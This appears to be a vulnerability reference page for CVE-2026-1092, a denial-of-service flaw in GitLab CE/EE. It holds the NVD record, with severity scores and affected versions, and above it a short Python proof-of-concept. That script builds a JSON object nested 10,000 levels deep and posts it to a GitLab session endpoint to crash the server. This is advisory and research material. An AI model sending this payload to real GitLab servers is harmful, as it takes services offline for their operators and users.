CVE-2026-1092

import requests import json target_url = "http://<gitlab-target>/api/v4/session" # Example endpoint # Generate a malicious JSON payload (Conceptual: Deep Nesting) # This simulates an input validation issue causing stack overflow or high CPU usage. data = {} current = data for _ in range(10000): current["key"] = {} current = current["key"] current["final"] = "trigger_crash" headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=json.dumps(data), timeout=10) print(f"Status Code: {response.status_code}") except Exception as e: print(f"Request failed or server unresponsive: {e}")

{"cve": {"id": "CVE-2026-1092", "sourceIdentifier": "[email protected]", "published": "2026-04-08T23:16:57.510", "lastModified": "2026-04-14T17:38:07.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.10 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an unauthenticated user to cause denial of service due to improper input validation of JSON payloads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.10.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "4E41EACE-A6CA-490D-9592-4964BFBF6B76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "3BA6A89D-D2C1-45B9-A8E8-64256816D880"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "BB2F3665-2451-4A4D-8538-93F540975F0E"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "12.10.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "41952659-B58E-4EB8-976C-AA43350A39F6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "5C4D8A99-6E70-4D55-9ACF-FF2620F070E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "DBCB346F-0B28-458B-A453-29DA4B0E91FC"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/586479", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3487030", "source": "[email protected]", "tags": ["Permissions Required"]}]}}